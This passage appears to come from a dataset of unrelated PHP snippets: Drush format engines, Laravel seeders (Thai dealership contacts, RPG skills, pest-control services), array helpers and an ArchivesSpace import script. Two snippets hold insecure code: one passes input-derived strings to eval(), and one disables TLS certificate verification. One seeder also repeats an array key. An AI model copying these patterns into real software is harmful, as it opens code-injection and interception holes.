the output data array's keys.\",\n 'metadata' => array(\n 'variable-name' => 'config',\n ),\n 'list-field-selection-control' => -1,\n 'engine-capabilities' => array('format-list','format-table'),\n 'verbose-only' => TRUE,\n );\n $engines['list'] = array(\n 'machine-parsable' => TRUE,\n 'list-item-type' => 'string',\n 'description' => 'A simple list of values.',\n // When a table is printed as a list, only the array keys of the rows will print.\n 'engine-capabilities' => array('format-list', 'format-table'),\n 'topic-example' => array('a', 'b', 'c'),\n );\n $engines['nested-csv'] = array(\n 'machine-parsable' => TRUE,\n 'engine-class' => 'list',\n 'list-separator' => ',',\n 'list-item-type' => 'csv-or-string',\n 'hidden' => TRUE,\n );\n $engines['csv-or-string'] = array(\n 'machine-parsable' => TRUE,\n 'hidden' => TRUE,\n );\n $engines['csv'] = array(\n 'machine-parsable' => TRUE,\n 'engine-class' => 'list',\n 'list-item-type' => 'nested-csv',\n 'labeled-list' => TRUE,\n 'description' => 'A list of values, one per row, each of which is a comma-separated list of values.',\n 'engine-capabilities' => array('format-table'),\n 'topic-example' => array(array('a', 12, '[email protected]'),array('b', 17, '[email protected]')),\n );\n $engines['variables'] = array(\n 'machine-parsable' => TRUE,\n 'description' => 'A list of php variable assignments.',\n 'engine-capabilities' => array('format-table'),\n 'verbose-only' => TRUE,\n 'list-field-selection-control' => -1,\n 'topic-example' => $common_topic_example,\n );\n $engines['labeled-export'] = array(\n 'machine-parsable' => TRUE,\n 'description' => 'A list of php exports, labeled with a name.',\n 'engine-capabilities' => array('format-table'),\n 'verbose-only' => TRUE,\n 'engine-class' => 'list',\n 'list-item-type' => 'var_export',\n 'metadata' => array(\n 'label-template' => '!label: !value',\n ),\n 'list-field-selection-control' => -1,\n 'topic-example' => $common_topic_example,\n );\n return $engines;\n}", "public function run()\n {\n $list = [];\n $types = [\n ['6.20','6.56','6.92','7.28','7.64','8.00'],\n ['5.75','6.11','6.47','6.83','7.19','7.55'],\n ['4.4' ,'4.74','5.08','5.42','5.76','6.1' ,'6.44','6.78'],\n ['4' ,'4.34','4.68','5.02','5.36','5.7' ,'6.04','6.38'],\n ['2.34','2.67','3' ,'3.33','3.66','3.99','4.32','4.65','4.98'],\n ['2.1' ,'2.41','2.72','3.03','3.34','3.65','3.96','4.27','4.58','4.89'],\n ['1.86','2.06','2.26','2.46','2.66','2.86','3.06','3.26','3.46','3.66','3.86','4.06'],\n ['1.65','1.83','2.01','2.19','2.37','2.55','2.73','2.91','3.09','3.27','3.45','3.63'],\n ['1.5' ,'1.68','1.86','2.04','2.22','2.4' ,'2.58','2.76','2.94','3.12','3.3' ,'3.48'],\n ['1.35','1.53','1.71','1.89','2.07','2.25','2.43','2.61','2.79','2.97','3.15','3.33']\n ];\n $k=1;\n for($i=0; $i<count($types); $i++){\n for($j=0; $j<count($types[$i]); $j++){\n array_push($list,[\n 'nb_ma' => $k++,\n 'nb_heSoLuong' => $types[$i][$j],\n 'ng_ma' => $i+1,\n 'b_ma' => $j+1\n ]);\n }\n }\n DB::table('ngach_bac')->insert($list);\n }", "protected function _purifyArray(array $arrayData,$type='string'){\n foreach($arrayData as $key=> $value){\n if(isset($value) && is_array($value)){\n $arrayData[$key]=$this->_purifyArray($value,$type);\n }elseif(isset($value)){\n $arrayData[$key]=$this->filter->clean(trim($value),$type);\n }\n }\n return $arrayData;\n }", "public function convertTypoScriptArrayToPlainArray(array $typoScriptArray): array\n {\n foreach ($typoScriptArray as $key => $value) {\n if (substr((string)$key, -1) === '.') {\n $keyWithoutDot = substr((string)$key, 0, -1);\n $typoScriptNodeValue = isset($typoScriptArray[$keyWithoutDot]) ? $typoScriptArray[$keyWithoutDot] : null;\n if (is_array($value)) {\n $typoScriptArray[$keyWithoutDot] = $this->convertTypoScriptArrayToPlainArray($value);\n if ($typoScriptNodeValue !== null) {\n $typoScriptArray[$keyWithoutDot]['_typoScriptNodeValue'] = $typoScriptNodeValue;\n }\n unset($typoScriptArray[$key]);\n } else {\n $typoScriptArray[$keyWithoutDot] = null;\n }\n }\n }\n return $typoScriptArray;\n }", "public function convertItemArray() {}", "function pg_array_parse($array, $asText = true) {\n $s = $array;\n if ($asText) {\n $s = str_replace(\"{\", \"array('\", $s);\n $s = str_replace(\"}\", \"')\", $s); \n $s = str_replace(\",\", \"','\", $s); \n } else {\n $s = str_replace(\"{\", \"array(\", $s);\n $s = str_replace(\"}\", \")\", $s);\n }\n\t$ss = \"\\$retval = $s;\";\n eval($ss);\n\treturn $retval;\n}", "public function type_vars( ){\n\t\t\n\t\tglobal $disabled_settings;\n\t\t$alt = false;\n\t\tif ( is_array( $disabled_settings ) )\n\t\t\tif( !empty( $disabled_settings['typography'] ) )\n\t\t\t\t$alt = true;\n\t\t\n\t\t$vars = array(\n\t\t\t'plBaseFont'\t\t=> ($alt) ? '\"Helvetica\" Arial, serif' : pl_type_el('type_primary', 'stack'), \n\t\t\t'plBaseWeight'\t\t=> pl_type_el('type_primary', 'weight'), \n\t\t\t'plAltFont'\t\t\t=> ($alt) ? '\"Helvetica\" Arial, serif' : pl_type_el('type_secondary', 'stack'), \n\t\t\t'plAltWeight'\t\t=> pl_type_el('type_secondary', 'weight'), \n\t\t\t'plHeaderFont'\t\t=> ($alt) ? '\"Helvetica\" Arial, serif' : pl_type_el('type_headers', 'stack'), \n\t\t\t'plHeaderWeight'\t=> pl_type_el('type_headers', 'weight'),\n\t\t);\n\t\treturn $vars;\n\t}", "function turnitintooltwo_filetype_array($setup = true) {\n $output = array(\n 1 => get_string('fileupload', 'turnitintooltwo'),\n 2 => get_string('textsubmission', 'turnitintooltwo')\n );\n if ($setup) {\n $output[0] = get_string('anytype', 'turnitintooltwo');\n }\n ksort($output);\n return $output;\n}", "function tablaConversiones() {\n \n $array = array();\n $contador = 0;\n $output = \"\";\n $output2 = \"\";\n $heading = array('Numero ','Contenido de $var ', 'isset($var) ', 'empty($var) ', '(bool) $var ', 'is_null($var)');\n $var = array(null, 0, true, false, \"0\", \"\", \"foo\", $array, 2);\n $funciones = array('llamarIsset', 'llamarEmpty', 'llamarBool', 'llamarIsnull');\n \n $output .= \"<table class='table table-bordered'>\";\n $output .= \"<tr>\";\n // imprimimos cabecera\n foreach ($heading as $value) {\n $output .= \"<th>\" . $value . \" </th>\";\n }\n $output .= \"</tr>\";\n foreach ($var as $valor) {\n \n $contador++;\n $output .= \"<th> {$contador} </th>\";\n \n if ($valor === null) {\n $output2 = \"null\";\n } elseif($valor === true) {\n $output2 = \"true\";\n } elseif($valor === 2) {\n $output2 = \"unset(\\$var)\";\n } elseif($valor === \"\") {\n $output2 = \"\\\"\\\"\";\n } elseif($valor === false) {\n $output2 = \"false\";\n }else {\n $output2 = $valor;\n }\n \n $output .= \"<th> \\$var= \". $output2 .\" </th>\";\n \n foreach ($funciones as $funcion) {\n \n if ($valor == 2) {\n unset($valor);\n }\n if ($funcion($valor)) {\n $output .= \"<td class='true'> True </td>\";\n } else {\n $output .= \"<td class='false'> False </td>\";\n }\n }\n $output .= \"<tr>\";\n }\n \n $output .= \"</table>\";\n\n echo $output;\n }", "public function getTyposcript() {}", "protected function _array($array)\n\t{\n\t\t$return = array();\n\t\t$text = '';\n\t\tforeach ($array as $value)\n\t\t{\n\t\t\tif (!is_array($value) || !isset($value['name']))\n\t\t\t{\n\t\t\t\tcontinue;\n\t\t\t}\n\n\t\t\tif ($value['name'] === '!')\n\t\t\t{\n\t\t\t\t$text .= $value['value'];\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t$return[$value['name']] = $this->_array($value);\n\t\t\t}\n\t\t}\n\n\t\tif (empty($return))\n\t\t{\n\t\t\treturn $text;\n\t\t}\n\n\t\treturn $return;\n\t}", "public function dataFields($fieldArr, $table, $row, $out = [])\n {\n // Check table validity\n if (!isset($GLOBALS['TCA'][$table])) {\n return $out;\n }\n\n $thumbsCol = $GLOBALS['TCA'][$table]['ctrl']['thumbnail'];\n // Traverse fields\n foreach ($fieldArr as $fieldName) {\n if ($GLOBALS['TCA'][$table]['columns'][$fieldName]) {\n // Each field has its own cell (if configured in TCA)\n // If the column is a thumbnail column:\n if ($fieldName == $thumbsCol) {\n $out[$fieldName] = $this->thumbCode($row, $table, $fieldName);\n } else {\n // ... otherwise just render the output:\n $out[$fieldName] = nl2br(htmlspecialchars(trim(GeneralUtility::fixed_lgd_cs(\n BackendUtility::getProcessedValue($table, $fieldName, $row[$fieldName], 0, 0, 0, $row['uid']),\n 250\n ))));\n }\n } else {\n // Each field is separated by <br /> and shown in the same cell (If not a TCA field, then explode\n // the field name with \";\" and check each value there as a TCA configured field)\n $theFields = explode(';', $fieldName);\n // Traverse fields, separated by \";\" (displayed in a single cell).\n foreach ($theFields as $fName2) {\n if ($GLOBALS['TCA'][$table]['columns'][$fName2]) {\n $out[$fieldName] .= '<strong>' . htmlspecialchars($this->getLanguageService()->sL(\n $GLOBALS['TCA'][$table]['columns'][$fName2]['label']\n )) . '</strong>' . '&nbsp;&nbsp;' . htmlspecialchars(GeneralUtility::fixed_lgd_cs(\n BackendUtility::getProcessedValue($table, $fName2, $row[$fName2], 0, 0, 0, $row['uid']),\n 25\n )) . '<br />';\n }\n }\n }\n // If no value, add a nbsp.\n if (!$out[$fieldName]) {\n $out[$fieldName] = '&nbsp;';\n }\n // Wrap in dimmed-span tags if record is \"disabled\"\n if ($this->isDisabled($table, $row)) {\n $out[$fieldName] = '<span class=\"text-muted\">' . $out[$fieldName] . '</span>';\n }\n }\n return $out;\n }", "abstract protected function report_to_array_mapping();", "function createSubject($line_as_arr, $session_id)\n{\n //example from CRC database - column headings below\n\n //0 1 2 3 4 5 6 7 8 9 10 11\n //id term\tisland\tcity territory\tcounty\tstate country continent\tpart_order\talt_form alt_form_lang\n\n //12 13 14 15 16 17 18 19 20 21 22 23\n //use_for locator source other\text_id\tnotes created_for created_by created_on\tlast_edited\tlast_edited_by\tsuppress\n\n //if [1] is not empty then spilt on brackets and commas, add last entry first as a term?\n $terms = array();\n $data = new Data();\n\n echo($line_as_arr);\n //do this for all items 1 to 8, reverse order so country comes first\n for ($x=8; $x>=1; $x--)\n {\n $entry = $line_as_arr[$x];\n if (!empty($entry))\n {\n if (!strpbrk($entry, \",(\"))\n {\n\n $term = new Term();\n $term->term = trim($entry);\n $term->term_type = \"geographic\";\n $term->vocabulary = \"/vocabularies/1\";\n $terms[] = $term;\n }\n else{\n $places = preg_split(\"/[(,]+/\", $entry, -1, PREG_SPLIT_NO_EMPTY);\n //echo $places;\n //loop through places, flipped order so country comes first\n foreach (array_reverse($places) as $place)\n {\n echo \"place \" . $place . \"\\n\";\n //ToDo strip ) and , from strings\n $term = new Term();\n $term->term = trim($place, \") \");\n $term->term_type = \"geographic\";\n $term->vocabulary = \"/vocabularies/1\";\n $terms[] = $term;\n }\n }\n }\n }\n\n //add notes\n $notes = \"\";\n\n if (!empty($line_as_arr[10])){\n $notes = $notes . \"Alt form = \" . $line_as_arr[10] . \",\";\n }\n if (!empty($line_as_arr[11])) {\n $notes = $notes . \"Alt form lang = \" . $line_as_arr[11]. \",\";\n }\n if (!empty($line_as_arr[12])) {\n $notes = $notes . \"Use For = \" . $line_as_arr[12]. \",\";\n }\n if (!empty($line_as_arr[13])){\n $notes = $notes . \"Locator = \" . $line_as_arr[13]. \",\";\n }\n if (!empty($line_as_arr[15])) {\n $notes = $notes . \"Other = \" . $line_as_arr[15]. \",\";\n }\n if (!empty($line_as_arr[17])) {\n $notes = $notes . \"Notes = \" . $line_as_arr[17]. \",\";\n }\n if (!empty($line_as_arr[16])){\n $notes = $notes . \"External Id = \" . $line_as_arr[16] . \",\";\n }\n if (!empty($line_as_arr[18])) {\n $notes = $notes . \"Created For = \" . $line_as_arr[18]. \",\";\n }\n\n if (strlen($notes) > 0){\n $data->scope_note = trim($notes, \",\");\n }\n\n //$data->title = $line_as_arr[1];\n $data->vocabulary = \"/vocabularies/1\";\n $data->external_ids =array();\n $data->source = $line_as_arr[14];\n $data->authority_id = \"geo_\".$line_as_arr[0];\n\n //Change to an array of terms\n $data->terms = $terms;\n\n echo json_encode($data). \"\\n\";\n\n $headers = array(\n 'Accept: application/json',\n 'Content-Type: application/json',\n 'X-ArchivesSpace-Session: '.$session_id\n );\n\n $service_url = 'http://localhost:8089/subjects';\n $curl = curl_init($service_url);\n\n curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);\n curl_setopt($curl, CURLOPT_VERBOSE, 1);\n curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, 0);\n curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, 0);\n curl_setopt($curl, CURLOPT_HTTPHEADER, $headers);\n curl_setopt($curl, CURLOPT_CUSTOMREQUEST, \"POST\");\n curl_setopt($curl, CURLOPT_POSTFIELDS, json_encode($data));\n curl_setopt($curl, CURLOPT_URL, $service_url);\n\n $curl_response = curl_exec($curl);\n if ($curl_response === false) {\n $info = curl_getinfo($curl);\n curl_close($curl);\n die('error occurred during curl exec. Additional info: ' . var_export($info));\n }\n curl_close($curl);\n $decoded = json_decode($curl_response);\n if (isset($decoded->response->status) && $decoded->response->status == 'ERROR') {\n die('error occurred: ' . $decoded->response->errormessage);\n }\n echo 'response ok!';\n echo print_r($curl_response);\n //echo '====================';\n //echo print_r($decoded);\n\n}", "public function run()\n {\n //\n $tipos = [\n '0' => [\n 'nombre' => 'CONTROL DE PLAGAS BASICO SIN ROEDORES'\n ],\n '1' => [\n 'nombre' => 'CONTROL DE PLAGAS BASICO Y ROEDORES'\n ],\n '2' => [\n 'nombre' => 'CONTROL SOLO ROEDORES' \n ],\n '3' => [\n 'nombre' => 'CONTROL INSECTOS RASTREROS'\n ],\n '4' => [\n 'nombre' => 'CONTROL INSECTOS VOLADORES'\n ],\n '5' => [\n 'nombre' => 'CONTROL CHINCHES'\n ],\n '6' => [\n 'nombre' => 'CONTROL GARRAPATAS'\n ],\n '7' => [\n 'nombre' => 'CONTROL PULGAS'\n ],\n '8' => [\n 'nombre' => 'CONTROL TERMITAS'\n ],\n '9' => [\n 'nombre' => 'CONTROL ABEJAS'\n ],\n '10' => [\n 'nombre' => 'CONTROL AVISPAS'\n ],\n '11' => [\n 'nombre' => 'DESINFECCION'\n ],\n '12' => [\n 'nombre' => 'ESPOLVOREO ELECTRICO'\n ],\n '13' => [\n 'nombre' => 'NEBULIZACION'\n ],\n '14' => [\n 'nombre' => 'TERMONEBULIZACION'\n ],\n '15' => [\n 'nombre' => 'GASIFICACION'\n ],\n '16' => [\n 'nombre' => 'RETIRO DE RESIDUOS / DESCARPADO'\n ],\n '17' => [\n 'nombre' => 'INSTALACION ESTACIONES ROEDOR'\n ],\n '18' => [\n 'nombre' => 'CONTROL DE PLAGAS EN ZONAS COMUNES'\n ],\n '19' => [\n 'nombre' => 'CONTROL EN CASAS Y/O APARTAMENTOS'\n ],\n '20' => [\n 'nombre' => 'CONTROL EN CAJAS DE ALCANTARILLA'\n ],\n '21' => [\n 'nombre' => 'RUTA LAMPARAS CONTROL INSECTOS VOLADORES'\n ],\n '22' => [\n 'nombre' => 'RUTA ESTACIONES CONTROL ROEDORES'\n ],\n '22' => [\n 'nombre' => 'CONTROL CARACOLES'\n ],\n '23' => [\n 'nombre' => 'CONTROL DE PLAGAS BASICO RESIDENCIAL'\n ]\n ];\n\n DB::table('tipo_servicios')->insert($tipos);\n }", "public function run()\n {\n $data = [\n 'ArdL' => ['Cuero Endurecido (TA9; TA10; TA11)', ' Cuero Blando (TA5; TA6; TA7)', ],\n 'ArdM' => ['Cota de Mallas (TA13; TA14; TA15; TA16)', ],\n 'ArdP' => ['Coraza (TA17; TA18; TA19; TA20)', ],\n 'Arm2M' => [],\n 'ArmAj' => [],\n 'ArmAt' => [],\n 'ArmC' => [],\n 'ArmAs' => [],\n 'ArmF' => [],\n 'ArmPr' => [],\n 'ArtA' => ['Actuar', ' Bailar', ' Cantar', ' Imitar Sonidos', ' Improvisación Poética', ' Mímica', ' Narrar Historias', ' Tocar Instrumento', ' Ventriloquia', ],\n 'ArtP' => ['Escultura', ' Música', ' Pintura', ' Poesía', ],\n 'AmB' => ['Barridos de Artes Marciales', ' Blocar', ' Lucha Libre', ' Inmovilizar', ],\n 'AmG' => ['Boxeo', ' Placaje', ' Golpes de Artes Marciales', ],\n 'AmMC' => ['Esquiva Adrenal', ' Evasión Adrenal', ],\n 'AtaEsp' => ['Desarmar Enemigo (Armado)', ' Desarmar Enemigo (Desarmado)', ' Fintar (Armado)', ' Fintar (Desarmado)', ' Justar', ' Pelea', ],\n 'AtlG' => ['Juegos Atléticos (Gimnasia)', ' Acrobacias', ' Caer', ' Contorsionismo', ' Malabarismos', ' Trepar', ' Volar/Planear', ' Volteretas', ' Caminar con Zancos', ' Caminar por la Cuerda Floja', ' Esquiar', ' Hacer Surf', ' Patinar', ' Rappelling', ' Salto con Pértiga', ],\n 'AtlP' => ['Juegos Atléticos (Potencia)', ' Levantar Pesos', ' Saltar', ' Golpe Poderoso', ' Lanzamiento Poderoso', ],\n 'AtlR' => ['Juegos Atléticos (Resistencia)', ' Carrera de Fondo', ' Escalar', ' Esprintar', ' Nadar', ' Remar', ],\n 'Autoc' => ['Frenesí', ' Meditación', ' Mnemotecnia', ' Superar Aturdimiento', ' Caída Adrenal', ' Concentración Adrenal', ' Control de la Licantropía (R)', ' Desenvainar Adrenal', ' Equilibrio Adrenal', ' Estabilización Adrenal (R)', ' Fuerza Adrenal', ' Maniobrar Aturdido', ' Salto Adrenal', ' Trance Adormecedor', ' Trance de la Muerte (R)', ' Trance Purificador (R)', ' Trance Sanador', ' Velocidad Adrenal', ],\n 'CienB' => ['Documentación', ' Matemáticas Básicas', ],\n 'CienE' => ['Alquimia', ' Antropología', ' Matemáticas Avanzadas', ' Astronomía', ' Bioquímica', ' Psicología', ' Anatomía', ],\n 'Comun' => ['Leer los Labios', ' Señales', ],\n 'ConGen' => ['Conocimiento de la Fauna', ' Conocimiento de la Flora', ' Conocimiento Cultural', ' Conocimiento Regional', ' Heráldica', ' Historia', ' Religión', ' Conocimiento de Estilos Marciales', ' Conocimiento de Estilos de Armas', ],\n 'ConMag' => ['Conocimiento de los Artefactos', ' Conocimiento de los Hechizos', ' Conocimiento de los No-Muertos', ' Conocimiento de las Protecciones', ' Conocimiento de los Planos', ' Conocimiento de los Símbolos', ],\n 'ConOsc' => ['Conocimiento de las Hadas', ' Conocimiento de los Dragones', ' Demonología', ' Xeno-Conocimientos*', ],\n 'ConTec' => ['Conocimiento de la Piedra', ' Conocimiento de las Cerraduras', ' Conocimiento de las Hierbas', ' Conocimiento de los Metales', ' Conocimiento de los Venenos', ' Conocimiento del Comercio', ],\n 'DefEsp' => ['Aguante Adrenal', ' Defensa Adrenal', ' Resistencia Adrenal', ],\n 'DesPP' => ['Desarrollo de Puntos de Poder', ],\n 'DesFis' => ['Desarrollo Físico', ],\n 'ExtAni' => ['Conducir', ' Domar', ' Maestría de Animales (R)', ' Manejo de los Animales', ' Montar', ' Montar: Lobos', ' Montar: Caballos', ' Montar: Osos', ' Montar: Camellos', ' Montar: Elefantes*', ' Curación de Animales (R)', ' Pastoreo', ],\n 'ExtEnt' => ['Cazar', ' Espeleología', ' Forrajear', ' Orientación Celeste', ' Predicción del Clima', ' Supervivencia', ' Supervivencia (Montañas)', ' Supervivencia (Bosques)', ' Supervivencia (Desiertos)', ' Supervivencia (Llanuras)', ' Supervivencia (Subterráneos)', ' Supervivencia (Ártico)', ],\n 'HecDir' => ['Relámpago', 'Rayo de agua', 'Rayo de luz', 'Rayo de fuego', 'Rayo de hielo'],\n 'ListBas' => [],\n 'ListAb' => [],\n 'ListCerr' => [],\n 'ListBasOt' => [],\n 'ListAbOt' => [],\n 'ListCerrOt' => [],\n 'ListBasOtR' => [],\n 'ListAbArc' => [],\n 'ListAd' => [],\n 'ListAdOtR' => [],\n 'ListTri' => [],\n 'ListElCom' => [],\n 'Infl' => ['Comerciar', ' Diplomacia', ' Embaucar', ' Interrogar', ' Liderazgo', ' Oratoria', ' Seducción', ' Sobornar', ' Rumorear', ],\n 'ManCom' => ['Combate con 2 Armas', ' Combate Montado', ' Desenvainar', ' Florituras', ' Ataque de Revés', ' Esquiva Acrobática (R)', ' Estilo de Arma (Básico)', ' Estilo de Arma (Avanzado)', ' Subyugar', ],\n 'ManPod' => ['Canalización', ' Maestría de los Hechizos', ' Maestría de los Hechizos: Control del Aire', ' Maestría de los Hechizos: Ley de la Luz', ' Maestría de los Hechizos: Maestría de los Espiritus', ' Ritual Mágico', ' Ocultación de Hechizos', ],\n 'Ofi' => ['Cocinar', ' Manejo de Cuerdas', ' Trabajar el Cuero', ' Trabajar el Metal', ' Trabajar la Madera', ' Trabajar la Piedra', ' Coser/Tejer', ' Dibujar', ' Escribir', ' Hacer Flechas', ' Horticultura', ' Peletería', ' Servicio', ' Trampero', ],\n 'PerBus' => ['Buscar', ' Detectar Mentiras', ' Detectar Trampas', ' Detectar Venenos', ' Leer Huellas', ' Observación', ' Rastrear', ],\n 'PerPers' => ['Alerta', ' Detectar Emboscadas', ],\n 'PerSen' => ['Percepción del Entorno: Ciudades', ' Percepción del Entorno: Combate', ' Percepción del Entorno: Durmiendo', ' Percepción del Entorno: Exploración', ' Sentido de la Dirección', ' Sentido del Espacio (R)', ' Sentido del Tiempo', ' Vista', ' Olfato', ' Gusto', ' Oído', ' Tacto', ' Sentido de la Realidad (R)', ' Vigilancia', ],\n 'PerPod' => ['Leer Runas', ' Sintonización', ' Adivinación', ' Percepción del Poder (R)', ],\n 'SubAta' => ['Ataque Silencioso', ' Emboscar', ],\n 'SubMec' => ['Abrir Cerraduras', ' Camuflaje', ' Desactivar Trampas', ' Disfrazarse', ' Construir Trampas', ' Preparar Trampas', ' Usa/Curar Venenos', ' Falsificación', ' Imitación', ' Ocultar Objetos', ],\n 'SubSig' => ['Acechar', ' Esconderse', ' Juegos de Manos', ' Robar Bolsillos', ],\n 'TecGen' => ['Dibujar Mapas', ' Juego', ' Juegos de Estrategia', ' Maquinaria', ' Mendigar', ' Navegar', ' Orientación', ' Primeros Auxilios', ' Usar Hierbas', ],\n 'TecPro' => ['Cuidados Médicos', ' Diagnosis', ' Ingeniería', ' Mecánica', ' Minería', ' Adormecerse', ' Arquitectura', ' Cirugía', ' Organización Militar', ' Propaganda', ' Zahorí', ' Investigación', ],\n 'TecVoc' => ['Administración', ' Manejo de Botes', ' Evaluar Arma', ' Evaluar Armadura', ' Evaluar Metal', ' Evaluar Piedra', ' Navegación', ' Táctica', ' Tasar', ' Artimañas', ' Cartografía', ' Ingeniería de Asedio', ' Partería', ' Preparar Hierbas', ' Preparar Venenos', ],\n 'Urb' => ['Agenciar', ' Callejeo', ' Disimulo', ' Instinto Urbano', ],\n ];\n\n foreach ($data as $category => $names) {\n foreach ($names as $name) {\n DB::table('skills')->insert([\n 'skill_category_id' => $category,\n 'name' => trim($name),\n 'code' => Str::slug(trim($name),'_'),\n 'description' => ''\n ]);\n }\n }\n\n }", "public function importArray($data);", "public function run()\n {\n\n $arr[] = [\n 'tel' => '02-742-5995', 'cat_id' => '97',\n 'province' => '00',\n 'th' => ['title' => 'บริษัท ไทยยานยนตร์ เซลส์แอนด์เซอร์วิส จำกัด', 'address' => 'เลขที่ 2225 ถ.สุขุมวิท แขวงบางจาก เขตพระโขนง กรุงเทพฯ 10250']\n ];\n $arr[] = [\n 'tel' => '02-804-9099', 'cat_id' => '97',\n 'province' => '00',\n 'th' => ['title' => 'บริษัท ไทยยานยนตร์ เซลส์แอนด์เซอร์วิส จำกัด', 'address' => 'เลขที่ 119 ม.1 ถ.เพชรเกษม แขวงบางแคเหนือ เขตบางแค กรุงเทพฯ 10160']\n ];\n $arr[] = [\n 'tel' => '02-735-7144-5 ', 'cat_id' => '97',\n 'province' => '00',\n 'th' => ['title' => 'หจก.โพธิ์ทองบอดี้เพนท์', 'address' => 'เลขที่ 626/8 ถ.มอเตอร์เวย์ แขวงประเวศ เขตประเวศ กรุงเทพฯ 10250 ']\n ];\n $arr[] = [\n 'tel' => '02-719-6359 , 02-719-6243 ', 'cat_id' => '97',\n 'province' => '00',\n 'th' => ['title' => 'หจก.โพธิ์ทองบอดี้เพนท์', 'address' => 'เลขที่ 590 ถ.พระรามเก้า แขวงบางกะปิ เขตห้วยขวาง กรุงเทพฯ 10310']\n ];\n $arr[] = [\n 'tel' => '02-742-0881-3', 'cat_id' => '97',\n 'province' => '00',\n 'th' => ['title' => 'บริษัท ไทยออโต้เพ้นท์ จำกัด ', 'address' => 'เลขที่ 128 ซ.อ่อนนุช 40 ถ.สุขุมวิท 77 แขวงสวนหลวง เขตสวนหลวง กรุงเทพฯ 10250']\n ];\n $arr[] = [\n 'tel' => '02-413-3999 ', 'cat_id' => '97',\n 'province' => '00',\n 'th' => ['title' => 'บริษัท โตโยต้า เอ็มไพร์ส ยูซฟูล คาร์ส จำกัด ', 'address' => 'เลขที่ 1177/2 ถ.กาญจนาภิเษก แขวงบางแคเหนือ เขตบางแค กรุงเทพฯ 10160 ']\n ];\n $arr[] = [\n 'tel' => '02-320-7222-4 ', 'cat_id' => '97',\n 'province' => '00',\n 'th' => ['title' => 'หจก.ณรงค์วิทย์พัฒนาการ ', 'address' => 'เลขที่ 18/25 ม.10 ซ.อ่อนนุช 80 ถ.สุขุมวิท 77 แขวงประเวศ เขตประเวศ กรุงเทพฯ 10250 ']\n ];\n $arr[] = [\n 'tel' => '02-938-5555', 'cat_id' => '98',\n 'province' => '00',\n 'th' => ['title' => 'บริษัท เบนซ์ ออโต้ เซอร์วิส จำกัด ', 'address' => 'เลขที่ 78 ถนนวิภาวดีรังสิต แขวงจอมพล เขตจตุจักร กรุงเทพฯ 10900']\n ];\n $arr[] = [\n 'tel' => '02-316-1555 ', 'cat_id' => '98',\n 'province' => '56',\n 'th' => ['title' => 'บริษัท เบนซ์ เอส ดับบลิว มอเตอร์ จำกัด ', 'address' => 'เลขที่ 555 ม.14 ต.บางพลีใหญ่ อ.บางพลี จ.สมุทรปราการ 10540 ']\n ];\n $arr[] = [\n 'tel' => '02-561-5000', 'cat_id' => '99',\n 'province' => '00',\n 'th' => ['title' => 'บริษัท พระนคร ยนตรการ จำกัด ', 'address' => 'เลขที่ 108 หมู่ 2 ถนนวิภาวดีรังสิต แขวงลาดยาว เขตจตุจักร กรุงเทพฯ 10900']\n ];\n $arr[] = [\n 'tel' => '02-991-8888', 'cat_id' => '99',\n 'province' => '00',\n 'th' => ['title' => 'บริษัท พระนคร ยนตรการ จำกัด ', 'address' => 'เลขที่ 88 ถ.สุขาภิบาล 5 แขวงสายไหม เขตสายไหม กรุงเทพฯ 10220']\n ];\n $arr[] = [\n 'tel' => '02-516-3111 ', 'cat_id' => '99',\n 'province' => '27',\n 'th' => ['title' => 'บริษัท พระนคร ยนตรการ จำกัด ', 'address' => 'เลขที่ 88 ม.1 ต.คลองหนึ่ง อำเภอคลองหลวง จังหวัดปทุมธานี 12120']\n ];\n $arr[] = [\n 'tel' => '02-919-9979', 'cat_id' => '100',\n 'province' => '00',\n 'th' => ['title' => 'บริษัท พระนคร ฮอนด้าออโตโมบิล จำกัด ', 'address' => 'เลขที่ 8 ถ.เสรีไทย แขวงมีนบุรี เขตมีนบุรี กรุงเทพฯ 10510']\n ];\n $arr[] = [\n 'tel' => '02-941-1888', 'cat_id' => '100',\n 'province' => '00',\n 'th' => ['title' => 'บริษัท พระนคร ฮอนด้าออโตโมบิล จำกัด', 'address' => 'เลขที่ 110 ถ.วิภาวดี-รังสิต แขวงลาดยาว เขตจตุจักร กรุงเทพฯ 10900']\n ];\n $arr[] = [\n 'tel' => '02-940-4888', 'cat_id' => '100',\n 'province' => '00',\n 'th' => ['title' => 'บริษัท พระนคร ฮอนด้าออโตโมบิล จำกัด', 'address' => 'เลขที่ 111 ถ.ประเสริฐมนูกิจ (เกษตร-นวมินทร์) แขวงจรเข้บัว เขตลาดพร้าว กรุงเทพฯ 10230']\n ];\n $arr[] = [\n 'tel' => '02-970-7111', 'cat_id' => '100',\n 'province' => '00',\n 'th' => ['title' => 'บริษัท พระนคร ฮอนด้าออโตโมบิล จำกัด', 'address' => 'เลขที่ 211 ถ.รามอินทรา แขวงอนุสาวรีย์ เขตบางเขน กรุงเทพฯ 10220']\n ];\n $arr[] = [\n 'tel' => '02-512-0220-39', 'cat_id' => '100',\n 'province' => '00',\n 'th' => ['title' => 'บริษัท วอง ฮอนด้าคาร์ส จำกัด ', 'address' => 'เลขที่ 3/1 ถ.พหลโยธิน แขวงลาดยาว เขตจตุจักร กรุงเทพฯ 10900']\n ];\n $arr[] = [\n 'tel' => '02-271-1717', 'cat_id' => '100',\n 'province' => '00',\n 'th' => ['title' => 'บริษัท วอง ฮอนด้าคาร์ส จำกัด', 'address' => 'เลขที่ 999 ถ. พหลโยธิน แขวงสามแสนไน เขตพญาไท กรุงเทพฯ 10400']\n ];\n $arr[] = [\n 'tel' => '02-533-7447', 'cat_id' => '100',\n 'province' => '27',\n 'th' => ['title' => 'บริษัท วอง ฮอนด้าคาร์ส จำกัด', 'address' => 'เลขที่ 425 หมู่ 1 วิภาวดี รังสิต ตำบลประชาธิปัตย์ อำเภอธัญบุรี ปทุมธานี 12130']\n ];\n $arr[] = [\n 'tel' => '02-193-1122 ', 'cat_id' => '100',\n 'province' => '00',\n 'th' => ['title' => 'บริษัท วอง ฮอนด้าคาร์ส จำกัด', 'address' => 'เลขที่ 1 ถ.สุขาภิบาล5 แขวงออเงิน เขตสายไหม กรุงเทพฯ 10220']\n ];\n $arr[] = [\n 'tel' => '02-276-6555', 'cat_id' => '100',\n 'province' => '00',\n 'th' => ['title' => 'บริษัท รัชดา ฮอนด้า ออโตโมบิล จำกัด', 'address' => 'เลขที่ 232 